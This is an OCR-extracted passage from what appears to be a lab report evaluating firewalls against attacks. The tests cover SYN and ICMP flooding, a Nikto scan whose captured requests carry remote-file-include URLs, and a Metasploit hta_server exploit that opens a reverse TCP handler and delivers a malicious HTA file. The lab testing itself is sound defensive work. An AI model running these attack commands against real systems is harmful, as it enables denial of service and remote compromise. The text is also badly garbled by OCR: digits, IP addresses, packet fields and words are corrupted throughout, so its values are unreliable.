545987 BBB.B67618 142.56.34.88 1e.10.16.10 6@ 49919 =+ 88 [SYN] Seq=@ Win=3951 Le
549088 B8E. 16.10.10.10 142.56.34. 58 88 » 49919 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len

P nu
54910 BBB. 16.10.16.10 .26.34. 58 8@ - 38671 [SYN, ACK
16.10.10.10 2.56.3 8 > 54 80 » 9 [RST] ¢

P C
54917 688.872323 142.56.34.88 16.10.16.10 60 4583 = 8@ [SYN] Seq=@ W.
54918 BBB.B72528 16.10.16.10 142.56.34.88 58 8@ - 4583 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len=8 MS5=1460
54919 BEE. 142.56.34.88 1@.10.10.10 6@ 22354 + 8@ [SYN] Seq=8 Win=133 Len=0

16.10.16.10 . . 58 8@ - 22354 [SYN, ACK] Se Win=8192 Len=0 M55=1460

Frame 54911: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @
Ethernet II, Src: 50:80:00:04:08:00 (50:08:00:04:00:00), Dst: 50:00:00:01:00:01 (50:00:00:01:90:01)
Internet Protocol Version 4, Src: 10.108.10.18, Dst: 142.56.34.88
*~ Transmission Control Protocol, Src Port: 8@, Dst Port: 39999, Seq: 1, Len: @

Source Port: 8@

Destination Port: 39999

[Stream index: 2274@]

[TCP Segment Len: @]

Sequence number: 1 (relative sequence number)

[Mext sequence number: 1 (relative sequence number)]

Acknowledgment number: 36@5467975

@181 .... = Header Length: 28 bytes (5)

Flags: @x@@4 (RST)

Window size value: @

S0 B0 @0 OL @0 0L S 0 ©0 04 BO B0 O3 @0 45 B0 P- - P £
8@ 28 7a 77 48 0@ 80 86 bb b4 ©a B3 Ba @z Be 38 - (zwd 8
22 58 @0 56 9c 3f fb af 55 @5 d6 e7 13 47 50 84 "X.P-? 6P
THE e3 s oo oo -]
T S e B T ) e

Figure 4-46 Wireshark capture (inside segment): SYN-flood attack on port80
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Time M Wireshark . Packet 54911 . - - [} x

54907 688. Frame 54911: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @

54983 688. Ethernet II, Src: 50:00:90:04:80:00 (50:00:80:04:080:00), Dst: 50:00:00:01:80:01 (50:00:88:01:88:01)
Internet Protocol Version 4, Src: 18.10.16.16, Dst: 142.56.34.88

5491@ 653. “ Transmission Control Protocol, Src Port: 8@, Dst Port: 39999, Seq: 1, Len: @

Source Port: 3@
Destination Port: 39999
[Stream index: 2274@]
[TCP Segment Len: @]

Sequence number: 1 (relative sequence number)
5 [Next sequence number: 1  (relative sequence number)]
54917 688. Acknowledgment number: 3685467975
54918 6B3. @181 .... = Header Length: 2@ bytes (5)
54919 688. Flags: @x@e4 (RST)

54928 G653. Window size wvalue: @

f [Calculated window size: @]

[Window size scaling facter: -2 (no window scaling used)]
Checksum: @xe3cd [unverified]

[Checksum Status: Unverified]

Urgent pointer: @

[Timestamps]

Ethernet II, 5
Internet Proto

~ Transmission Ci

source Porty Moons ERCITIIHTICE 50 60 oo o4 oo oo 05 0o 45 0o | TRRREP £

Destination ©@ 28 7a 77 48 @8 80 @6 bb b4 @a @a @a @a 8e 38 (zw@ 8
[Stream indg 22 58 @0 50 9c 3f fb af 85 05 d6 e7 13 47 50 04  "X-P-? GP
[TCP Segment 80 80 e3 c3 80 89

Sequence nun
[Hext sequer
Acknowledgme
elel .... =
Flags: @xeeq
Window size
5@ o2 0@ 8l Help

8@ 28 7a 77

Figure 4-47 Wireshark capture (inside segment): SYN flood attack packet detail

440w 2%, /7040 19, 19, 19, 19 1%£,30,3%.00 ILF 30 0 7 420UL0 3TNy HULR| JEU=E ALRSL WAISOLYZ LENSY F33S1400

» 934.797666  10.10.10.10 142.56.34.88 58 8@ + 19546 [SYN, ACK] Seq=0 Ack=3892550235 Win=8192 Len=p M55=1460

3448, 934,798126  10.10.10.18 142,56.34.88 TCP 58 80 + 40896 [SYN, ACK] Seq=d Ack=1 Win=8192 Len=0 M53=1460
3448.. 934.798308  10.1@.18.18 142.56.34.88 TP 58 82 + 34341 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len=B M55=1460
3448.. 934.798378  10.10.10.18 142.56.34.88 TCP 58 8@ + 46851 [SYN, ACK] Seq=0 Ack=1 Win=3192 Len=@ M55-=1460
3448, 934,793450  18.10.10.18 142,56.34.88 TCP 58 80 + 64774 [SYN, ACK] Seq=d Ack=1 Win=8192 Len=@ M53=1460
3448, 934,798522  10.1@.18.18 142.56.34.88 TP 58 82 + 31523 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len=B M55=1460
3448.. 934,798594  10.10.10.18 142.56.34.88 TCP 58 8@ + 25141 [SYN, ACK] Seq=0 Ack=1 Win=3192 Len=@ M55-=1460
3448, 934.798672  10.10.10.18 142,56.34.88 TCP 58 8@ + 1119 [SYN, ACK] Seq=@ Ack=1 Win=8192 Len=0 MS5=1460
3448, 934.802051  10.1@.1@.18 142.56.34.88 TP 58 82 + 50481 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len=B M55=1460
3448, 934.802127  10.10.10.18 142.56.34.88 TCP 58 8@ + 13866 [SYN, ACK] Seq=0 Ack=1 Win=3192 Len=@ M55-=1460
3448, 934.862221  16.10.10.18 142,56.34.88 TP 58 8@ + 22088 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=@ M55=1460
3448, 934.802294  10.10.18.18 142.56.34.88 TP 58 82 + 7144 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len=8 MS5=1460
3448, 934.802366  10.10.10.18 142.56.34.88 TCP 58 B + 64449 [SYN, ACK] Seq=0 Ack=1 Win=3192 Len=@ M55-=1460

.« 934.503588  10.10.18.10 142.56.34.88 58 82 + 46214 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len=0 M35=1460

.« 934.504452  19.10.10.10 142,56.34.88

.« 934.810011  10.10.10.10 142,56.34.88

3448.. 934.510866  18.18.18.1@

i
I
i
I
I
|
i
|
i 3448, 934,803345  142.56.34.88 10.10.16.16 TP 68 46214 + 8B [SYN] Seq=B Win=3599 Len=@
I
i
I
|
I
1
I
|
I
i

142.56.34.88 TCP 58 82 + 64424 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len=0 M35=1460

Figure 4-48 Wireshark capture (inside segment): SYN-flood attack on port 80 ii
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M Vireshark - Packet 344821 . - — O b

Frame 344821: 6@ bytes on wire (480 bits), 6@ bytes captured (480 bits) on interface @ -
Ethernet II, Src: NexcComm_8@:85:80 (80:50:00:00:05:00), Dst: 50:00:00:04:00:00 (50:00:00:04:00:00)
Internet Protocol Version 4, Src: 142.56.34.88, Dst: 10.10.18.18
“ Transmission Control Protocel, Src Port: 53812, Dst Port: 8@, Seq: @, Len: @
Source Port: 53812
Destination Port: 8@
[Stream index: 18166@]
[TCP Segment Len: @]
Sequence number: @ (relative sequence number)
[Next sequence number: @ (relative sequence number)]
Acknowledgment number: @
8181 .... = Header Length: 2@ bytes (5)
~ Flags: @x@82 (SYN)
eee. .... ....
LB Nonce: Mot set
....... Congestion Window Reduced (CWR): Not set
ECN-Echo: Not set
Urgent: Not set
Acknowledgment: Not set
Push: Not set
Reset: Hot set
.-1. = Syn: Set
viee vaas ...@ = Fin: Not set
[TCP Flags: ===+ ==++5-]
Window size value: 558
[Calculated window size: 558]
Checksum: @xe6lc [unverified]
[Checksum Status: Unverified]
Urgent pointer: @
v [SEQ/ACK analysis]
[TCP Analysis Flags] v

eooe RCRIIINRL: @0 58 80 60 65 00 05 00 45 00 | JRREH P E 2

Reserved: Not set

=@
1

o=
[ T}

Figure 4-49 Wireshark capture (inside segment): SYN flood attack packet detailii

4.6.1.2 ICMP FLOODING ATTACK

In this type of DOS attack, the malicious user generates continuous ICMP packets that are sent
towards the target machine and exhaust its resourcesto deny legit connections to work, hence
denying service to legitimate users, discussed in detail in chapter 3. An ICMP flooding attack

in our test lab was generated using Kali Linux's Hping3 command.
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A0 BRAGQeEnE;
] |Fpp|'-;  display fiter ... <Ct

tEE4QQ_HE
ik ad *
o, Tine Source Destination Protocdl  Length Info ’

68 135 +

Expression...  +

66 135 + 46
6@ 135 + 46
68 135 + 46839
6@ 135 + 46640
68 135 + 46841

68 135 + 468

‘] 68 135 +

15789 16.10.14. 16.10.10.18 60 135 + 46844 [RST, ACK

Figure 4-50 Wireshark capture: ICMP Flooding

Frame 1: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface @

Ethernet II, Src: NexoComm_08:05:00 (90:50:00:00:05:00), Dst: 50:00:00:04:00:00 (50:00:00:04:00:00)
Internet Pratocal Version 4, Src: 18.10.18.11, Dst: 10.10.18.10

Internet Control Message Protocol

Hee 50 00 00 04 99 09 ETIL] 00 05 90 08 00 45 03 P E
W54 1400040 61 6761 BacaBatbdata Tff g
020 05 00 44 b0 B5 <2 BR3C a5 ST ERGLORGR D
% 02 b2 55 0 00 B0 G0 @3 BA 10 1112131415 - -l

ol

{a

16171829 2alhlcld lelf 20212223 24 25 1"45%
6272829 2h2c2d 2303132333435 &()M,- /012345
36 37 67

Figure 4-51 Wireshark capture: ICMP flooding packet details
Post Attack: END flooding attack (capture from inside segment)

Module options (auxiliary/dos/tcp/synflood):

Name Current Setting Required Description

INTERFACE no The name of the interface

NUM Q no Number of SYNs to send (else unlimited)

RHOSTS 10.10.10.10 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path=>"
RPORT 80 yes The target port

SHOST no The spoofable source address (else randomizes)

SNAPLEN 65535 yes The number of bytes to capture

SPORT no The source port (else randomizes)

TIMEOUT 508 yes The number of seconds to wait for new data

msf5 auxiliary(dos/tcp/synflood) > exploit
[*] Running module against 10.10.10.1@

[*] SYN flooding 19.10.10.10:80...

~“C[-] Stopping running againest current target...
[*] Control-C again to force quit all targets.
[*] Auxiliary module execution completed

msf5 auxiliary(dos/tcp/synflood) > I
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Figure 4-52 Concluding SYN-flood attack

9702 10.10.10.1 10.10.18.10 113 Destination unreachable (Network unreachable)
9715 10.10.10.1 10.10.10.10 113 Destination unreachable (Network unreachable)

21 2021-11-11 16:05:30.422220 50:00:00:04:00:00  50:00:00:01:00:61  ARP 6@ Who has 18.10.10.17 Tell 19.19.10.18

22 2021-11-11 16:05:30.422425 50:00:00:01:00:01  50:00:00:04:00:08  ARP 42 10.18.10.1 is at 50:00:00:01:00:01

26 2621-11-11 16:05:33.492750 10.10.18.18 208.91.112.53 DIIS 85 Standard query @x78b6 A teredo.ipve.microsoft.com

27 2021-11-11 16:05:33.492990 10.10.18.1 10.10.10.10 1P 113 Destination unreachable (Network unreachable)
23 2621-11-11 16:05:33.493860 10.10.18.10 208.91.112.52 85 Standard query @x78b6 A teredo.ipve.microsoft.com

29 2621-11-11 16:05:33.494064 10.10.18.1 16.10.18.10 1P 113 Destination unreachable (Network unreachable)

33 2021-11-11 16:85:38.554793 50:00:00:01:00:01  50:00:00:04:08:08  ARP 47 Who has 10.10.18.167 Tell 19.18.10.1
34 2021-11-11 16:85:38.565389 50:00:008:04:00:00  50:00:00:01:08:41  ARP 60 10.16.18.10 is st 50:00:00:04:60:00

39 2021-11-11 16:05:48,815897 50:00:00:03:00:00  COP/VTP/DTP/PAgP/UD.. COP 428 Device ID: Switch Port ID: GigabitEthernete/a

Frame 1: 6@ bytes on wire (488 bits), 6@ bytes captured (480 bits) on interface @
TEEE 802.3 Ethernet

Logical-Link Control

Spanning Tree Protocol

Figure 4-53 Post attack capture (no malicious packets)

4.6.2 INTRUSION ATTACK

A network intrusion occurs when there is any unauthorized activity on a digital network, and
it is frequently associated with the theft of valuable information resources and jeopardizing
network security. In order to protect organizations, security teams need to have a thorough
understanding of how network intrusion worksand implement solutions to protect the network

from intrusion, detection, and response.

In our test lab, Fortinet and Cisco Meraki firewalls were good at managing intrusion attacks.
Both firewalls have IDS systems built-in to the native OS and, due to their online nature, both

firewalls actively update signatures. Fortinet and Cisco Meraki have IPS that prevents such
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attacks, i.e., it not only detects the unusual behavior but has methods to stop it as well. While
Archdyan doesn’t have advanced IDS and IPS, it is OK at managing basic intrusions, but it
does not have a mechanism to keep up with advanced attacks or update its signature base.

root@kali:~# nikto -h 10.19.10.18 -p 80
- Nikto v2.1.6

+ Target IP: 10.10.10.10

+ Target Hostname: 10.10.168.10

+ Target Port: 80

+ Start Time: 2021-11-08 20:46:12 (GMT-5)

+ Server: Microsoft-IIS/7.5

+ The anti-clickjacking X-Frame-Options header 1is not present.

+ The X-XSS5-Protection header is not defined. This header can hint to the user a
gent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allew the user agent
to render the content of the site in a different fashion to the MIME type

Mo CGI Directories found (use '-C all' to force check all possible dirs)

+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

+ /: Appears to be a default IIS 7 install.
I
+

+

7837 requests: O error(s) and 6 item(s) reported on remote host
End Time: 2021-11-08 20:47:47 (GMT-5) (95 seconds)

+ 1 hosti(s) tgsted

Figure 4-54 Intrusion attack using Nikto
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ll |»'«pp|-f adisplay fter ... <Ctlf> m Expression... 4
Ho. Time Source Destination Pratocol  Length Info A
12001 86714334 18.10.18.18 16.18.10.11 HTTP 1448 HTTP/1.1 494 Not Found (text/html)
12002 86.722633  10.10.10.11 10.1.19.10 HTTP 413 GET /phpAdshew-2.8.7/Libraries/1ib-renotehost. inc3phpAds_geoPlugin=http://cirt.net/rfiinc.txt?? HTTP/1.1 (application/.
12003 86723166  18.10.18.18 16.18.18.11 HTTP 1448 HTTP/1.1 404 Not Found (text/html)
12004 86.730954  10.10.18.11 10.10.10.10 HTTP 386 GET /phpBB2/shoutbox. php2phpbb_roat_path=http://cirt.net/rfiinc.txt? HTTP/1.1 (application/x-ww-form-urlencoded)
12005 86.731445 10.18.10.10 16.18.10.11 HTTP 1448 HTTP/1.1 484 Not Found (text/html)
12006 86.739146  10.19.10.11 10.10.10.10 HTTP 380 GET /phpCards. header. php2CardPath=http://cirt.net/rfiinc. txt?? HTTP/1.1 (application/x-ww-form-urlencoded)
12067 86.739394  10.10.10.18 16.10.10.11 HTTP 1448 HTTP/L1.1 404 Not Found (text/htnl)
12063 86.747403  10.10.10.11 10.10.10.10 HTTP 467 GET /phpGedvien/help_text_vars.php?cnd=dirBPGU BASE_DIRECTORY=http://cirt.net/rfiinc.txt? HTTP/1.1 (application/x-w-..
12009 86.747889  10.10.10.10 16.10.10.11 HTTP 1448 HTTP/L.1 404 Not Found (text/htnl)
12010 86.757965  10.10.10.11 16.10.10.19 HTTP 373 GET /phpMyChat. php3?=http://cirt. net/rfiinc. txt?2cnd=1d HTTR/1.1 (application/x-wi-form-urlencoded)
12011 86.758464  10.10.10.10 10.10.10.11 HTTP 1448 HTTP/1.1 494 Not Found (text/html)
12012 86.766699  10.10.10.11 10.10.10.19 HTTP 429 GET /phpMyConferences 8.9.2/comnon/visiteurs/include/menus.inc.php?lve_include dir=http://cirt.net/rfiinc.txt?? HTTP/L...
12013 86.766990  10.10.10.18 10.18.10.11 HTTP 1448 HTTP/1.1 494 Not Found (text/html)
12014 86.774411  10.10.10.11 16.18.10.19 HTTP 393 GET /phpQLAdnin-2.2.7/eznlm.php? SESSION[path]=http://cirt.net/rfiinc. txt?? HTTP/L.1 (application/x-ww-form-urlencode.,
12815 86.774885 10.18.10.10 16.18.10.11 HTTP 1448 HTTP/1.1 494 Not Found (text/html)
12016 86.734106  10.19.10.11 10.1.19.10 HTTP 480 GET /phpSiteBackup-8.1/pcltar.1ib.php?g pcltar 1ib dirhttp://cirt.net/rfiinc.txt? HTTP/1.1 (application/x-ww-form-ur..
12817 86.784631  18.10.18.18 16.18.18.11 HTTP 1448 HTTP/1.1 404 Not Found (text/html)
12018 86.792360  10.19.18.11 10.10.10.10 HTTP 384 GET /phpbb/sendnsg.php2phpbb_root_pathehttp:/fcirt.net/rfiinc.tut? HTTP/1.1 (application/x-wm-forn-urlencoded)
12019 86.792912  18.10.18.18 16.18.10.11 HTTP 1448 HTTP/1.1 484 Not Found (text/html)
12020 36.800628  10.19.10.11 10.10.10.10 HTTP 480 GET /phpcalendar/includes/calendar.php?phpc_root_path=http://cirt.net/rfiinc.txt?? HTTP/1.1 (application/x-ww-form-ur..
12021 86861131 10.10.10.10 16.10.10.11 HTTP 1448 HTTP/L1.1 404 Not Found (text/htnl)

Figure 4-55 Wireshark capture: Intrusion packets

‘ admin »

Favorites > EditIPS Sensor | Edit Filter x
@ Dashboard > N X Severity: Medium X Severity: High X Severity: Critical @ Add Filter x|
. . .
XA Security Fabric > —— Name 4 Severity Target 0s
u FortiView > 3Com.3CDaemon.FTP.Server.Buffer.Overflow (EEEEE] Server Windows TCP,FTP
Network > IPS Signatures
* : EEEEE Server Windows TCP, HTTE
£ System > .
+ Add Signaty [EEEEE Server Lintx TCP, HTTE
B Policy & Objects > N
. AU 3ivMPEGA.File.Processing Buffer.Overflow mEEe  Client Windows TCP, HTTF
& Security Profiles v No matching en|
AntiVirus 35,PocknetVMS ActiveX.Control. Buffer.Qverflow LIl Client Windows TCP.HTTE
o IPS Filters 427BB.Cookie.Based.Authentication.Bypass (EEEEE| Server Other TCP, HTTF
Web Filter 12/Bb.L00KIE.Based. AUINENTCANON. Bypass
DN Fiter 4 Ade Filter | 427BB:Showthread PHR ForumiD ParameterSQL.Injection EEETD Sever  Other TCP,HTTE
Application Control A325 Botnet [EEEEE Server, Client All TCP
Intrusion Prevention f Severity:l:] AAEH.Botnet [EEEEE Server All UDP, DNS
FortiClient Compliance AARCBotnet EEEEE SEWE{, Client All Tcp
Sl 4 BSEEEN A Audio Media Player ST Buffer Overfiow EEET  Server,Client Windows TP, sMT
Web Rating Overrides Enable ABNR.Boinet i Server Al TCP HTTF
Custom Signatures
ACal.Calendar.Cookie,Based.Authentication.Bypass [EEEEE Server Windows, Linux, BSD, Solaris, MacQS TCP, HTTF
O VPN >
& User & Device > ] ¢l¢|1 /114 > »  [Total: 5656]
ave Filters nce
PR 'O: _— Save Fil Cancel

Figure 4-56 Firewall logs showing Intrusion (IDS)
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o & @ AddFilter - m-
#| @ | Date/Time | Severity Source Protocol | User | Action | Count Attack Name Log Details x
1 11-1016:08 EEECT  172.16.10.10 tcp detected Apache.Expect.Header.XSS B General

Date 11/10/2021
Time 16:08:52
Session ID 5075
Virtual Domain root
B Source
P 172.16.10.10
Source Port 49860
Country/Region Reserved
Source Interface portl
& Destination
IP 10.10.10.10
Port 80
Destination Interface port2
Hostname 10.10.10.10
URL 10.10.10.10
& Application
Protocol tcp
Service HTTP
B Action
Action detected
« < 1 /1 > » [Total: 1] Policy 3
Figure 4-57 Firewall logs show details of Intrusion (IDS)
Enabling IPS feature on Firewall:
- ’ Edit IPS Sensor default ~ O m E
& FortiView >
s+ Network N Name [View IPS Signatures]
& System 4 Comments Prevent critical attacks. 25255
B Policy & Objects >
IPS Signatures
& Security Profiles v
AntiVirus 4 Add Signatures | [ Delete ¢ EditIP Exemptions
Web Filter Name Exempt IPs Severity Target Service os Action Packet Logging
DNS Filter No matching entries found
Application Control S s
on Prevention
FortiClient Compliance 4 AddFilter | ¢ Edit Filter | i Delete
SSL/SSH Inspection Filter Details Action Packet Logging
Web Rating Overrides Severity: [EEECT, [SHEET], EEENE & Block []
Custom Signatures
Rate Based Signatures
O VPN >
. Enable Signature Threshold | Duration (seconds) | Track By | Action Block Duration (minutes)
& User & Device >
= WiFi & Switch Controller >
il Log & Report >
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Figure 4-58IPS configuration

Mame €@ [ 1Ps |

Incoeming Interface | Cutside (portl) - |

Outgoing Interface Inside segment (port2) - |

Source = all :
+

DrestHnation & winpc »x
*

Schedule | 08 ahuways -

Service W ALl »
-

Action L ssayl & DENY | ™ LEARM

Firewsall / Network Options

MAT

Security Profiles

Antvinus >

Web Filter L]

DMS Filber O

Application Control

IPS © [ default -~

Proxy Options [ ]

55L Inspection | =W certficate-inspection - | &

Figure 4-59 Implementing IPS on segment

root@kali:~# nikto -h 10.10.10.1@ -p 80
- Nikto v2.1.6

+ Target IP: 10.10.10.10

+ Target Hostname: lo.10.168.10

+ Target Port: 1]

+ Start Time: 2021-11-09 22:13:12 (GMT-5)

+ Server: Microsoft-IIS/7.5

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-X55-Protection header is not defined. This header can hint to the user a

gent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent

to render the content of the site in a different fashion to the MIME type

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading
HTTP response

+ Scan terminated: 20 error(s) and 5 item(s) reported on remote host

+ End Time: 2021-11-09 22:20:08 (GMT-5) (416 seconds)

+ 1 host(s) tested

root@kali:~# ||

Figure 4-60 PostIPS config on FW, IPS attack initiation
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Forward Traffic 2 & | © AddFilter | M- moetis
Local Traffic # | % Date/Time Severity Source Protocol | User Action Count Attack Name
Sniffer Traffic 1 11-1016:14  EEmEET]  172.1610.10  tep dropped HTTPURLSQL.Injection
System Events 2 11-10 16:13 [CCrrm| 172.16.10.10 tep dropped HTTPURLSQL.Injection
Router Events 3 11-10 16:13 (EEEEE| 172.16.10.10 tep dropped HTTPURLSQL.Injection
VPN Events 4 11-10 16:13 (EEEEE| 172.16.10.10 tcp dropped Apache.Expect.Header. XSS
5 11-10 16:13 [EEEEN 172.16.10.10 tcp dropped Apache.Expect.Header. XS5
SseErens 6 11-1016:12  EEEED 172161010  tep dropped PHPBB.Viewtopic.Highlight. Remote. Code. Execution
Endpoint Events 7 11-1016:12  [mmmm]  172.1610.10  tcp dropped PHPBB.Viewtopic.Highlight.Remote.Code. Execution
HA Events 8 11-10 16:12 (NEEEE| 172.16.10.10 tep dropped NetworkActivWeb.Server. XSS
Security Rating Events 9 11-10 1é6:12 EEEEE 172.16.10.10 tep dropped NetworkActiv.Web.Server.X55
WAN Opt. & Cache Events 10 11-10 16:12 (EEEEE| 172.16.10.10 tcp dropped NetworkActiv.Web.Server.XSS
11 11-10 16:12 [EEEEN 172.16.10.10 tep dropped NetworkActiv.Web.Server. XSS
WA ErEs 12 11101611 FEEe 172161010 top dropped NetworkActiv:Web.Server.Xss
AntiVirus 13 11-1016:11  [EEEC 172.16.10.10  tcp dropped NetworkActiv.Web.Server.XSS
Web Filter 14 11-1016:11 EEEEN 172.16.10.10 tep dropped NetworkActiv.Web.Server.X55
DNS Query 15 11-10 1é6:11 [EEEEN 172.16.10.10 tcp dropped NetworkActiv.Web.Server.X55
16 11-10 16:11 (EEEE 172.16.10.10 tep dropped NetworkActiv.Web.Server. XSS
Application Control X
17 11-10 16:11 (EEEEE| 172.16.10.10 tep dropped NetworkActiv.Web.Server. XSS
Intrusion Prev W I 18 11-1016:10 EEErE 172161010  tep dropped NetworkActivWeb,Server XSS
Anomaly 19 11-10 16:10 (EEEEE| 172.16.10.10 tcp dropped NetworkActiv.Web.Server. XSS
Log Settings 20 11-1016:10  [E=EEL] 172.16.10.10  tcp detected BadBlue.MFCISAPICommand.Remote. Buffer.Overflow

Figure 4-61 Firewall IPSin action dropping packets

d Capturing from -

File Edit View Ge Capture Analyze Statisticc Telephony Wireless Tools  Help
ma® RE R &= TAZI=EQaqa

L] |Appl',' a display filter ... <Ctrl-/>

No., Time Source Destination Protocol  Length Info
4754.. 1861.548662 10.10.10.18 2@88.91.112.52 DNS 85 Standard query @x2@79 A teredo.ipve.microsoft.com
4754.. 1862.484248 feB8@::a5088:8bb7:456.. T8 DHCPwB 147 Solicit XID: 8x7cdbca CID: 8@81880812915a4b3580000040000
18.1 1 ] 16 8 estination unreacha ork unreachable)

514373  16.108.18.] 10. B M 86 Destinatio a k unreachable)
.496687 =ile Solicit XID: @x7cdbca CID: 8@81868012915a4b3560000040000
853 i i ble})

1 16 8

513 @ est unreachable ( ork u able)
4754.. 1865.557481 10.10.10.10 268.91.112.53 85 Standard query @x2079 A teredo.ipvé.microsoft.com

4754.. 1865.557844 10.10.10.18 2@88.91.112.52 85 Standard query @x2@72 A teredo.ipve.microsoft.com

4754.. 1865.823529  feB@::7834:e2b7:f73.. ffB2::1:ffe@:0 ICMPvE 86 Neighbor Solicitation for :: from @8:50:88:08:05:80
4754.. 1868.5060835 fe8e::a508:8bb7:456.. ffe2::1:2 DHCPvE 147 solicit XID: e@x7cdbca CID: @@810001201534b3500000040000
4754.. 1878.128592 56:00:00:84:00:08 56:06:00:081:80:081 ARP 42 Who has 10.18.18.12 Tell 10.10.18.16

4754.. 187@.139156 56:00:00:81:088:081 56:088:080:04:00:00 ARP 60 18.10.18.1 is at 50:80:80:081:00:01

4754.. 1875.2084949 59:80:88:81:00:081 58:08:80:04:00:00 ARP 6@ Who has 19.10.10.187 Tell 18.10.18.1

4754.. 1875.285419  50:80:808:04:00:00 58:808:00:91:808:01 ARP 42 19.10.10.18 is at 50:90:00:04:80:00

4754.. 1876.588887 Te8@::a508:8bb7:456.. ffe2::1:2 DHCPv& 147 Solicit XID: @x7cdbca CID: @88108012015a4b3500000040000
4755.. 1892.514432 fe8@::a508:8bb7:456.. ffe2::1:2 DHCPvE 147 solicit XID: @x7cdbca CID: @@8188812915a4b35000080040000

Figure 4-62 No PostIPS no intrusion packets detected
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4.6.3 WEB FILTERING

Web filtering helps create a safer online environment for home users. Included as part of
Firewall OS, Web Filtering helps provide an additional layer of defense between vulnerable
home users and internet-based threats. In our scope of testing, ISPs protect home users and
remain in control of what happens on the internet by tailoring their web filtering set up to meet

their own specific needs.

Fortinet and Cisco Meraki, both proved good protection against malicious web traffic, both
offer good web filtering i.e., it can control explicitly any URL, also block categories of
websites, like adults, gambling, guns, games, video, social mediaand a list goes on. Archadyan
does not offer any web filtering options.

Pre-configuration results:

=' Microsoft | Skype Downloads SkypetoPhone  Skype Number Features  Products »  Gethelp Hostamesting @)  khumam Saiman o e

Preserving the connections
that matter most with Skype

As our world has faced unprecedented challenges over the past 18 months,
taking time to seek out deep human connection has never been more
important. And thanks to Skype, it's also never been easier. Here's how
people across the globe used technology to stay connected through it all.

Create a free video call

or Download Skype

Skype to Phone Subscriptions

Discover Skype's free features

Call friends, family and colleagues on their phone,
anywhere in the word at Skype's great rates.
¢ Host a meeting

Figure 4-63 pre-web filter configuration inside host can access the website
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Favorites 5 Edit Web Filter Profile
&y Dashboard 3

Nama
% Security Fabric
# Comments [ Default web filtering. | zzem
e FortiView >
4+ Metwork » @ FortiGuard category based filber
System
-2 * Show| O Al -
B, Policy & Objacts N - ¥
& Security Profiles . |- & Child Abuse
v |- & Discrimination
= |- ® Drug Abuse
7 | @ Explicit Viclence
DINS Filter |- @ Extremist Groups
Application Control |- © Hacking
|- @ Inegal or Unethical
Intrusion Prevention |- @ Pagiarism
FortiChent Compdliance & Prosy Awoidance
SSL/SSH Inspection @ Adult/Mature Content
Wb Rating Overrides [ -] Eandﬁwndﬂf(onsumlng
) @ Seouwity Risk
Custom Signatures © General Interest - Personal
=R > & General Interest - Business
& User & Device >
& WiFi & Switch Controller » B Static URL Fitter
i Log & Regart * | URL Fiter @O
& Monitor 5
4 Create || 4 Edit E|Delehe|:"|" |q|
URL Type Action Status
http: v skype comy Simple @ Blodk @ Enable
Block malicious URLs discowered by FortiSandbox @0
Web Content Fitter O
4 Create New | 4 Edit i Delet
Pattern Type | Pattern | Language | Action Status
‘Wildcard bing.com Westemm @ Block & Enable
& Rating Options
Allow weebsites wihen a rating emmor coours T
Q

Figure 4-64 URL Web filter configuration

Web Page Blocked!

You have rried to access a web page which isin violatgon of vaur internet usage palicy,

URL: http:/ickvpe.camy
Categary: Internet Telephony
Uzer name:

(3roup Name:

To have the rating of this web page re-evaluated please click hera,

| Praceed | Go Back

Figure 4-65 Web filtering result
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Web Page Blocked!

You have tried to access a web page which is in violation of your internet usage policy.

URL: http://www. bing.com/

Category:|Malicious Websites |
User name:
Group name:

To have the rating of this web page re-evaluated please click here.
Figure 4-66 Content-based web filtering

4.6.4 AMP EXPLOIT (ANTI-MALWARE PROTECTION)

An Anti-malware protection is another great feature available in NGFW (Next-Generation
Firewall) to protect the network user from malware. AMP keeps updating their signature from
online DBs provided by vendors which are connected over the internet. These DBs have the
latest and greatest definitions of viruses loaded in the DBs hence protecting the network users

from all modern theatres.

In our test lab, Fortinet and Cisco Meraki were good at blocking malware, identifying it as a
malicious contest and blocking the file from being downloaded on the system. Archadyan is a
basic firewall, and it is notan NGFW. There is no option to protect against the malware and
also there isno online support for it as it does not offer the AMP feature.

Pre-Configuration results:

mst5 post(windows/manage/enable_rdp) > use exploit/windows/misc/hta server
msf5 exploit{windows,/misc/hta_server) = set srw

set srvhost set srvport

msfS exploit{windows /misc/hta_server) = set srvhost 172.16.10.10

srvhost == 172.16.10.10

msf5 exploit{windows,/misc/hta_server) = set uripath Jupdate

uripath == fupdate

msf5 exploit{windows/misc/hta_server) = run

[#] Exploit running as background job @.

[#*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.10.10:4444

[#] Using URL: ST IRIevF G- CEE eI

[#] Server started.

msf5 exploit{windows/misc/hta_server) = [*] 10.10.10.10 hta_server - Deliwvering Payload
[*] 10.10.10.10 hta server - Delivering Payload

Figure 4-67 Virus Delivery using the malicious link
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[=f&@]=

(5 )() @ hipsA721610108080 updete + ¢ [ search. P e

|@ f‘iavigation Canceled X } ‘

|0 Navigation to the webpage was canceled

Internet Expl =
What you can try: et Explorer i

What do you want to do with update.hta?
8 Refresh the page.

Size: 6,52 KB
From: 172161010

9 Open
. Thefile won't be saved automatically,
9 Save
9 Saveas
The update.hta download has completed. h Run Open folder View downloads

Figure 4-68 Downloaded malware on the host (win7 PC)

Active sessions

